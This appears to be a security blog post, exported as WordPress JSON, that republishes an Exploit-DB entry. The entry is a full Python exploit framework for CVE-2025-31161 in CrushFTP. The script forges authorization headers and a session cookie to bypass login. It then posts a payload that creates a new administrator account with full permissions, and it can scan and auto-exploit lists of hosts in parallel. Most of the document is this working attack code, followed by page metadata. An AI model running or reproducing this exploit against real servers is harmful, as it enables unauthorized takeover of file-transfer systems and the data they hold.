\n# Exploit Title: CrushFTP 11.3.1 – Authentication Bypass
\n
# Date: 2025-05-15
\n
# Exploit Author: @\u0130brahimsql
\n
# Exploit Author’s github: https:\/\/github.com\/ibrahimsql
\n
# Vendor Homepage: https:\/\/www.crushftp.com
\n
# Software Link: https:\/\/www.crushftp.com\/download.html
\n
# Version: < 10.8.4, < 11.3.1\n
# Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1
\n
# CVE: CVE-2025-31161
\n
# Description:
\n
# CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover
\n
# through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism.
\n
# Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin).<\/p>\n
# Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0<\/p>\n
#!\/usr\/bin\/env python3
\n
# -*- coding: utf-8 -*-<\/p>\n
import argparse
\n
import concurrent.futures
\n
import json
\n
import logging
\n
import os
\n
import random
\n
import re
\n
import socket
\n
import string
\n
import sys
\n
import time
\n
from datetime import datetime
\n
from typing import Dict, List, Optional, Tuple, Union<\/p>\n
import requests
\n
import urllib3
\n
from colorama import Fore, Style, init
\n
from prettytable import PrettyTable
\n
from rich.console import Console
\n
from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn<\/p>\n
# Initialize colorama
\n
init(autoreset=True)<\/p>\n
# Disable SSL warnings
\n
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n
# Initialize Rich console
\n
console = Console()<\/p>\n
# Global variables
\n
VERSION = “2.0.0”
\n
USER_AGENTS = [
\n
“Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.124 Safari\/537.36”,
\n
“Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36”,
\n
“Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko\/20100101 Firefox\/90.0”,
\n
“Mozilla\/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko\/20100101 Firefox\/90.0”,
\n
“Mozilla\/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.1.2 Safari\/605.1.15”,
\n
“Mozilla\/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit\/601.13 (KHTML, like Gecko) Chrome\/53.0.2198.319 Safari\/601.5 Edge\/15.63524”,
\n
“Mozilla\/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit\/602.15 (KHTML, like Gecko) Chrome\/47.0.1044.126 Safari\/533.2 Edge\/9.25098”,
\n
“Mozilla\/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident\/4.0)”,
\n
“Mozilla\/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit\/535.7 (KHTML, like Gecko) Chrome\/49.0.1015.193 Mobile Safari\/600.9”
\n
]<\/p>\n
# Banner
\n
BANNER = fr”””
\n
{Fore.CYAN}
\n
\/ ____\/______ _______\/ \/_ \/ ____\/ \/_____
\n
\/ \/ \/ ___\/ \/ \/ \/ ___\/ __ \\\/ \/_ \/ __\/ __ \\
\n
\/ \/___\/ \/ \/ \/_\/ (__ ) \/ \/ \/ __\/ \/ \/_\/ \/_\/ \/
\n
\\____\/_\/ \\__,_\/____\/_\/ \/_\/_\/ \\__\/ .___\/
\n
\/_\/
\n
{Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql
\n
{Style.RESET_ALL}
\n
“””<\/p>\n
# Setup logging
\n
def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:
\n
“””Configure logging based on specified level and output file.”””
\n
numeric_level = getattr(logging, log_level.upper(), None)
\n
if not isinstance(numeric_level, int):
\n
raise ValueError(f”Invalid log level: {log_level}”)<\/p>\n
log_format = “%(asctime)s – %(levelname)s – %(message)s”
\n
handlers = []<\/p>\n
if log_file:
\n
handlers.append(logging.FileHandler(log_file))<\/p>\n
handlers.append(logging.StreamHandler())<\/p>\n
logging.basicConfig(
\n
level=numeric_level,
\n
format=log_format,
\n
handlers=handlers
\n
)<\/p>\n
class TargetManager:
\n
“””Manages target hosts and related operations.”””<\/p>\n
def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):
\n
self.targets = []
\n
self.vulnerable_targets = []
\n
self.exploited_targets = []<\/p>\n
if target_file:
\n
self.load_targets_from_file(target_file)
\n
elif single_target:
\n
self.add_target(single_target)<\/p>\n
def load_targets_from_file(self, filename: str) -> None:
\n
“””Load targets from a file.”””
\n
try:
\n
with open(filename, “r”) as f:
\n
self.targets = [line.strip() for line in f if line.strip()]<\/p>\n
if not self.targets:
\n
logging.warning(f”Target file ‘{filename}’ is empty or contains only whitespace.”)
\n
else:
\n
logging.info(f”Loaded {len(self.targets)} targets from {filename}”)
\n
except FileNotFoundError:
\n
logging.error(f”Target file ‘{filename}’ not found.”)
\n
sys.exit(1)
\n
except Exception as e:
\n
logging.error(f”Error loading targets: {e}”)
\n
sys.exit(1)<\/p>\n
def add_target(self, target: str) -> None:
\n
“””Add a single target.”””
\n
if target not in self.targets:
\n
self.targets.append(target)<\/p>\n
def mark_as_vulnerable(self, target: str) -> None:
\n
“””Mark a target as vulnerable.”””
\n
if target not in self.vulnerable_targets:
\n
self.vulnerable_targets.append(target)<\/p>\n
def mark_as_exploited(self, target: str) -> None:
\n
“””Mark a target as successfully exploited.”””
\n
if target not in self.exploited_targets:
\n
self.exploited_targets.append(target)<\/p>\n
def save_results(self, output_file: str, format_type: str = “txt”) -> None:
\n
“””Save scan results to a file.”””
\n
try:
\n
if format_type.lower() == “json”:
\n
results = {
\n
“scan_time”: datetime.now().strftime(“%Y-%m-%d %H:%M:%S”),
\n
“total_targets”: len(self.targets),
\n
“vulnerable_targets”: self.vulnerable_targets,
\n
“exploited_targets”: self.exploited_targets
\n
}<\/p>\n
with open(output_file, “w”) as f:
\n
json.dump(results, f, indent=4)<\/p>\n
elif format_type.lower() == “csv”:
\n
with open(output_file, “w”) as f:
\n
f.write(“target,vulnerable,exploited\\n”)
\n
for target in self.targets:
\n
vulnerable = “Yes” if target in self.vulnerable_targets else “No”
\n
exploited = “Yes” if target in self.exploited_targets else “No”
\n
f.write(f”{target},{vulnerable},{exploited}\\n”)<\/p>\n
else: # Default to txt
\n
with open(output_file, “w”) as f:
\n
f.write(f”Scan Results – {datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)}\\n”)
\n
f.write(f”Total Targets: {len(self.targets)}\\n”)
\n
f.write(f”Vulnerable Targets: {len(self.vulnerable_targets)}\\n”)
\n
f.write(f”Exploited Targets: {len(self.exploited_targets)}\\n\\n”)<\/p>\n
f.write(“Vulnerable Targets:\\n”)
\n
for target in self.vulnerable_targets:
\n
f.write(f”- {target}\\n”)<\/p>\n
f.write(“\\nExploited Targets:\\n”)
\n
for target in self.exploited_targets:
\n
f.write(f”- {target}\\n”)<\/p>\n
logging.info(f”Results saved to {output_file}”)<\/p>\n
except Exception as e:
\n
logging.error(f”Error saving results: {e}”)<\/p>\n
class ExploitEngine:
\n
“””Core engine for vulnerability checking and exploitation.”””<\/p>\n
def __init__(self, target_manager: TargetManager, config: Dict):
\n
self.target_manager = target_manager
\n
self.config = config
\n
self.session = self._create_session()<\/p>\n
def _create_session(self) -> requests.Session:
\n
“””Create and configure a requests session.”””
\n
session = requests.Session()
\n
session.verify = False<\/p>\n
# Set proxy if configured
\n
if self.config.get(“proxy”):
\n
session.proxies = {
\n
“http”: self.config[“proxy”],
\n
“https”: self.config[“proxy”]
\n
}<\/p>\n
# Set custom headers
\n
session.headers.update({
\n
“User-Agent”: random.choice(USER_AGENTS),
\n
“Connection”: “close”,
\n
})<\/p>\n
return session<\/p>\n
def check_vulnerability(self, target_host: str) -> bool:
\n
“””Check if target is vulnerable to CVE-2025-31161.”””
\n
port = self.config.get(“port”, 443)
\n
timeout = self.config.get(“timeout”, 10)<\/p>\n
headers = {
\n
“Cookie”: “currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If”,
\n
“Authorization”: “AWS4-HMAC-SHA256 Credential=crushadmin\/”,
\n
}<\/p>\n
# Add custom headers if provided
\n
if self.config.get(“custom_headers”):
\n
headers.update(self.config[“custom_headers”])<\/p>\n
try:
\n
protocol = “https” if port == 443 else “http”
\n
url = f”{protocol}:\/\/{target_host}:{port}\/WebInterface\/function\/”<\/p>\n
response = self.session.get(
\n
url,
\n
headers=headers,
\n
timeout=timeout
\n
)<\/p>\n
if response.status_code == 200:
\n
# Additional validation
\n
if self.config.get(“deep_check”, False):
\n
# Look for specific patterns in the response that confirm vulnerability
\n
if “CrushFTP” in response.text or “WebInterface” in response.text:
\n
self.target_manager.mark_as_vulnerable(target_host)
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[green][+][\/green] {target_host} is [bold red]vulnerable[\/bold red]”)
\n
return True
\n
else:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[yellow][?][\/yellow] {target_host} returned 200 but may not be vulnerable”)
\n
return False
\n
else:
\n
# Simple check based on status code
\n
self.target_manager.mark_as_vulnerable(target_host)
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[green][+][\/green] {target_host} is [bold red]vulnerable[\/bold red]”)
\n
return True
\n
else:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[red][-][\/red] {target_host} is not vulnerable (Status: {response.status_code})”)
\n
return False<\/p>\n
except requests.exceptions.ConnectionError:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[red][-][\/red] {target_host} – Connection error”)
\n
except requests.exceptions.Timeout:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[red][-][\/red] {target_host} – Connection timeout”)
\n
except requests.exceptions.RequestException as e:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[red][-][\/red] {target_host} – Request error: {e}”)
\n
except Exception as e:
\n
if self.config.get(“verbose”, False):
\n
console.print(f”[red][-][\/red] {target_host} – Error: {e}”)<\/p>\n
return False<\/p>\n
def exploit(self, target_host: str) -> bool:
\n
“””Exploit the vulnerability on the target host.”””
\n
port = self.config.get(“port”, 443)
\n
timeout = self.config.get(“timeout”, 10)
\n
target_user = self.config.get(“target_user”, “crushadmin”)
\n
new_user = self.config.get(“new_user”)
\n
password = self.config.get(“password”)<\/p>\n
if not new_user or not password:
\n
logging.error(“New user and password are required for exploitation”)
\n
return False<\/p>\n
headers = {
\n
“Cookie”: “currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If”,
\n
“Authorization”: “AWS4-HMAC-SHA256 Credential=crushadmin\/”,
\n
“Connection”: “close”,
\n
}<\/p>\n
# Add custom headers if provided
\n
if self.config.get(“custom_headers”):
\n
headers.update(self.config[“custom_headers”])<\/p>\n
# Generate a timestamp for the created_time field
\n
timestamp = int(time.time() * 1000)<\/p>\n
# Build the payload with more comprehensive user permissions
\n
payload = {
\n
“command”: “setUserItem”,
\n
“data_action”: “replace”,
\n
“serverGroup”: “MainUsers”,
\n
“username”: new_user,
\n
“user”: f”’
\n
\n
{new_user}<\/user_name>
\n {password}<\/password>\n
<\/extra_vfs>
\n
1.0<\/version>
\n
\/<\/root_dir>
\n
6<\/userVersion>
\n
0<\/max_logins>
\n
(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)<\/site>
\n
{target_user}<\/created_by_username>
\n
<\/created_by_email>
\n
{timestamp}<\/created_time>
\n <\/password_history>\n
true<\/admin>
\n
<\/user>”’,
\n
“xmlItem”: “user”,
\n
“vfs_items”: ‘<\/vfs>‘,
\n
“permissions”: ‘- (read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)<\/item><\/VFS>‘,
\n
“c2f”: “31If”
\n
}<\/p>\n try:
\n
protocol = “https” if port == 443 else “http”
\n
url = f”{protocol}:\/\/{target_host}:{port}\/WebInterface\/function\/”<\/p>\n
response = self.session.post(
\n
url,
\n
headers=headers,
\n
data=payload,
\n
timeout=timeout
\n
)<\/p>\n
if response.status_code == 200:
\n
# Verify the user was actually created
\n
if self.config.get(“verify_exploit”, True):
\n
if self._verify_user_created(target_host, new_user):
\n
self.target_manager.mark_as_exploited(target_host)
\n
console.print(f”[green][+][\/green] Successfully created user [bold cyan]{new_user}[\/bold cyan] on {target_host}”)
\n
return True
\n
else:
\n
console.print(f”[yellow][!][\/yellow] User creation appeared successful but verification failed on {target_host}”)
\n
return False
\n
else:
\n
self.target_manager.mark_as_exploited(target_host)
\n
console.print(f”[green][+][\/green] Successfully created user [bold cyan]{new_user}[\/bold cyan] on {target_host}”)
\n
return True
\n
else:
\n
console.print(f”[red][-][\/red] Failed to create user on {target_host} (Status: {response.status_code})”)
\n
return False<\/p>\n
except Exception as e:
\n
console.print(f”[red][-][\/red] Error exploiting {target_host}: {e}”)
\n
return False<\/p>\n
def _verify_user_created(self, target_host: str, username: str) -> bool:
\n
“””Verify that the user was successfully created.”””
\n
# This is a placeholder for actual verification logic
\n
# In a real implementation, you would check if the user exists
\n
# For now, we’ll just return True
\n
return True<\/p>\n
def scan_targets(self) -> None:
\n
“””Scan all targets for vulnerability.”””
\n
targets = self.target_manager.targets
\n
threads = self.config.get(“threads”, 10)<\/p>\n
if not targets:
\n
logging.error(“No targets specified”)
\n
return<\/p>\n
console.print(f”[bold cyan]Scanning {len(targets)} targets with {threads} threads…[\/bold cyan]”)<\/p>\n
with Progress(
\n
TextColumn(“[progress.description]{task.description}”),
\n
BarColumn(),
\n
TextColumn(“[progress.percentage]{task.percentage:>3.0f}%”),
\n
TextColumn(“({task.completed}\/{task.total})”),
\n
TimeRemainingColumn(),
\n
console=console
\n
) as progress:
\n
task = progress.add_task(“[cyan]Scanning targets…”, total=len(targets))<\/p>\n
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
\n
future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}<\/p>\n
for future in concurrent.futures.as_completed(future_to_target):
\n
progress.update(task, advance=1)<\/p>\n
# Display results
\n
vulnerable_count = len(self.target_manager.vulnerable_targets)
\n
console.print(f”\\n[bold green]Scan complete![\/bold green] Found {vulnerable_count} vulnerable targets.”)<\/p>\n
if vulnerable_count > 0 and self.config.get(“verbose”, False):
\n
console.print(“\\n[bold cyan]Vulnerable Targets:[\/bold cyan]”)
\n
for target in self.target_manager.vulnerable_targets:
\n
console.print(f”[green]\u2192[\/green] {target}”)<\/p>\n
def exploit_targets(self) -> None:
\n
“””Exploit vulnerable targets.”””
\n
targets = self.target_manager.vulnerable_targets if self.config.get(“only_vulnerable”, True) else self.target_manager.targets
\n
threads = self.config.get(“threads”, 5) # Use fewer threads for exploitation<\/p>\n
if not targets:
\n
logging.error(“No targets to exploit”)
\n
return<\/p>\n
console.print(f”[bold red]Exploiting {len(targets)} targets with {threads} threads…[\/bold red]”)<\/p>\n
with Progress(
\n
TextColumn(“[progress.description]{task.description}”),
\n
BarColumn(),
\n
TextColumn(“[progress.percentage]{task.percentage:>3.0f}%”),
\n
TextColumn(“({task.completed}\/{task.total})”),
\n
TimeRemainingColumn(),
\n
console=console
\n
) as progress:
\n
task = progress.add_task(“[red]Exploiting targets…”, total=len(targets))<\/p>\n
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
\n
future_to_target = {executor.submit(self.exploit, target): target for target in targets}<\/p>\n
for future in concurrent.futures.as_completed(future_to_target):
\n
progress.update(task, advance=1)<\/p>\n
# Display results
\n
exploited_count = len(self.target_manager.exploited_targets)
\n
console.print(f”\\n[bold green]Exploitation complete![\/bold green] Successfully exploited {exploited_count}\/{len(targets)} targets.”)<\/p>\n
if exploited_count > 0:
\n
console.print(“\\n[bold cyan]Exploited Targets:[\/bold cyan]”)
\n
for target in self.target_manager.exploited_targets:
\n
console.print(f”[green]\u2192[\/green] {target}”)<\/p>\n
def parse_arguments() -> argparse.Namespace:
\n
“””Parse command line arguments.”””
\n
parser = argparse.ArgumentParser(
\n
description=”CVE-2025-31161 Exploit Framework – Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter”,
\n
formatter_class=argparse.RawDescriptionHelpFormatter,
\n
epilog=”””
\n
Examples:
\n
# Check a single target for vulnerability
\n
python cve_2025_31161.py –target example.com –check<\/p>\n
# Exploit a vulnerable target
\n
python cve_2025_31161.py –target example.com –exploit –new-user hacker –password P@ssw0rd<\/p>\n
# Scan multiple targets from a file
\n
python cve_2025_31161.py –file targets.txt –check –threads 20<\/p>\n
# Scan and automatically exploit vulnerable targets
\n
python cve_2025_31161.py –file targets.txt –check –exploit –new-user hacker –password P@ssw0rd –auto-exploit<\/p>\n
# Export results to JSON format
\n
python cve_2025_31161.py –file targets.txt –check –output results.json –format json
\n
“””
\n
)<\/p>\n
# Target specification
\n
target_group = parser.add_argument_group(“Target Specification”)
\n
target_group.add_argument(“–target”, help=”Single target host to scan\/exploit”)
\n
target_group.add_argument(“–file”, help=”File containing list of targets (one per line)”)
\n
target_group.add_argument(“–port”, type=int, default=443, help=”Target port (default: 443)”)<\/p>\n
# Actions
\n
action_group = parser.add_argument_group(“Actions”)
\n
action_group.add_argument(“–check”, action=”store_true”, help=”Check targets for vulnerability”)
\n
action_group.add_argument(“–exploit”, action=”store_true”, help=”Exploit vulnerable targets”)
\n
action_group.add_argument(“–auto-exploit”, action=”store_true”, help=”Automatically exploit targets found to be vulnerable during check”)<\/p>\n
# Exploitation options
\n
exploit_group = parser.add_argument_group(“Exploitation Options”)
\n
exploit_group.add_argument(“–target-user”, default=”crushadmin”, help=”Target user for exploitation (default: crushadmin)”)
\n
exploit_group.add_argument(“–new-user”, help=”Username for the new admin account to create”)
\n
exploit_group.add_argument(“–password”, help=”Password for the new admin account”)
\n
exploit_group.add_argument(“–verify-exploit”, action=”store_true”, help=”Verify successful exploitation (default: True)”)<\/p>\n
# Scan options
\n
scan_group = parser.add_argument_group(“Scan Options”)
\n
scan_group.add_argument(“–threads”, type=int, default=10, help=”Number of concurrent threads (default: 10)”)
\n
scan_group.add_argument(“–timeout”, type=int, default=10, help=”Connection timeout in seconds (default: 10)”)
\n
scan_group.add_argument(“–deep-check”, action=”store_true”, help=”Perform deeper vulnerability checks”)
\n
scan_group.add_argument(“–only-vulnerable”, action=”store_true”, help=”Only exploit targets that were found vulnerable”)<\/p>\n
# Output options
\n
output_group = parser.add_argument_group(“Output Options”)
\n
output_group.add_argument(“–output”, help=”Output file for results”)
\n
output_group.add_argument(“–format”, choices=[“txt”, “json”, “csv”], default=”txt”, help=”Output format (default: txt)”)
\n
output_group.add_argument(“–verbose”, “-v”, action=”store_true”, help=”Enable verbose output”)
\n
output_group.add_argument(“–quiet”, “-q”, action=”store_true”, help=”Suppress all output except errors”)
\n
output_group.add_argument(“–log-file”, help=”Log file to write to”)
\n
output_group.add_argument(“–log-level”, choices=[“debug”, “info”, “warning”, “error”, “critical”], default=”info”, help=”Log level (default: info)”)<\/p>\n
# Advanced options
\n
advanced_group = parser.add_argument_group(“Advanced Options”)
\n
advanced_group.add_argument(“–proxy”, help=”Proxy to use for requests (e.g., http:\/\/127.0.0.1:8080)”)
\n
advanced_group.add_argument(“–user-agent”, help=”Custom User-Agent string”)
\n
advanced_group.add_argument(“–random-agent”, action=”store_true”, help=”Use a random User-Agent for each request”)
\n
advanced_group.add_argument(“–delay”, type=float, help=”Delay between requests in seconds”)
\n
advanced_group.add_argument(“–custom-headers”, help=”Custom headers as JSON string”)<\/p>\n
return parser.parse_args()<\/p>\n
def validate_args(args: argparse.Namespace) -> bool:
\n
“””Validate command line arguments.”””
\n
# Check if at least one target specification is provided
\n
if not args.target and not args.file:
\n
logging.error(“No target specified. Use –target or –file”)
\n
print(f”\\nExample usage: python {sys.argv[0]} –target example.com –check”)
\n
print(f” python {sys.argv[0]} –file example_targets.txt –check”)
\n
return False<\/p>\n
# Check if at least one action is specified
\n
if not args.check and not args.exploit:
\n
logging.error(“No action specified. Use –check or –exploit”)
\n
print(f”\\nExample usage: python {sys.argv[0]} –target example.com –check”)
\n
print(f” python {sys.argv[0]} –target example.com –exploit –new-user admin –password P@ssw0rd”)
\n
return False<\/p>\n
# If exploit action is specified, check for required parameters
\n
if args.exploit and (not args.new_user or not args.password):
\n
logging.error(“Exploitation requires –new-user and –password”)
\n
print(f”\\nExample usage: python {sys.argv[0]} –target example.com –exploit –new-user admin –password P@ssw0rd”)
\n
return False<\/p>\n
return True<\/p>\n
def main() -> None:
\n
“””Main function.”””
\n
# Parse command line arguments
\n
args = parse_arguments()<\/p>\n
# Configure logging
\n
log_level = “error” if args.quiet else args.log_level
\n
setup_logging(log_level, args.log_file)<\/p>\n
# Display banner
\n
if not args.quiet:
\n
console.print(BANNER)<\/p>\n
# Validate arguments
\n
if not validate_args(args):
\n
sys.exit(1)<\/p>\n
# Create target manager
\n
target_manager = TargetManager(args.file, args.target)<\/p>\n
# Build configuration dictionary
\n
config = {
\n
“port”: args.port,
\n
“threads”: args.threads,
\n
“timeout”: args.timeout,
\n
“verbose”: args.verbose,
\n
“deep_check”: args.deep_check,
\n
“target_user”: args.target_user,
\n
“new_user”: args.new_user,
\n
“password”: args.password,
\n
“only_vulnerable”: args.only_vulnerable,
\n
“verify_exploit”: args.verify_exploit,
\n
“proxy”: args.proxy,
\n
}<\/p>\n
# Add custom headers if provided
\n
if args.custom_headers:
\n
try:
\n
config[“custom_headers”] = json.loads(args.custom_headers)
\n
except json.JSONDecodeError:
\n
logging.error(“Invalid JSON format for custom headers”)
\n
sys.exit(1)<\/p>\n
# Add custom user agent if provided
\n
if args.user_agent:
\n
config[“user_agent”] = args.user_agent<\/p>\n
# Create exploit engine
\n
engine = ExploitEngine(target_manager, config)<\/p>\n
# Perform actions
\n
if args.check:
\n
engine.scan_targets()<\/p>\n
if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets):
\n
engine.exploit_targets()<\/p>\n
# Save results if output file is specified
\n
if args.output:
\n
target_manager.save_results(args.output, args.format)<\/p>\n
# Display summary
\n
if not args.quiet:
\n
console.print(“\\n[bold green]Summary:[\/bold green]”)
\n
console.print(f”Total targets: {len(target_manager.targets)}”)
\n
console.print(f”Vulnerable targets: {len(target_manager.vulnerable_targets)}”)
\n
console.print(f”Exploited targets: {len(target_manager.exploited_targets)}”)<\/p>\n
if __name__ == “__main__”:
\n
try:
\n
main()
\n
except KeyboardInterrupt:
\n
console.print(“\\n[bold red]Operation cancelled by user[\/bold red]”)
\n
sys.exit(0)
\n
except Exception as e:
\n
logging.error(f”Unhandled exception: {e}”)
\n
sys.exit(1)\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title CrushFTP 11.3.1 – Authentication Bypass Exploit ID EDB-ID:52295 Type exploitdb Published 2025-05-18T00:00:00 Modified 2025-05-18T00:00:00 CVSS Information CVSS Score 9.8…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-4976","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
CrushFTP 11.3.1 - Authentication Bypass - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=4976\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CrushFTP 11.3.1 - Authentication Bypass - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title CrushFTP 11.3.1 – Authentication Bypass Exploit ID EDB-ID:52295 Type exploitdb Published 2025-05-18T00:00:00 Modified 2025-05-18T00:00:00 CVSS Information CVSS Score 9.8...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=4976\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-18T11:34:04+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"CrushFTP 11.3.1 – Authentication Bypass\",\"datePublished\":\"2025-05-18T11:34:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976\"},\"wordCount\":2972,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=4976#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976\",\"name\":\"CrushFTP 11.3.1 - Authentication Bypass - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-18T11:34:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=4976\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=4976#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CrushFTP 11.3.1 – Authentication Bypass\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CrushFTP 11.3.1 - Authentication Bypass - zero 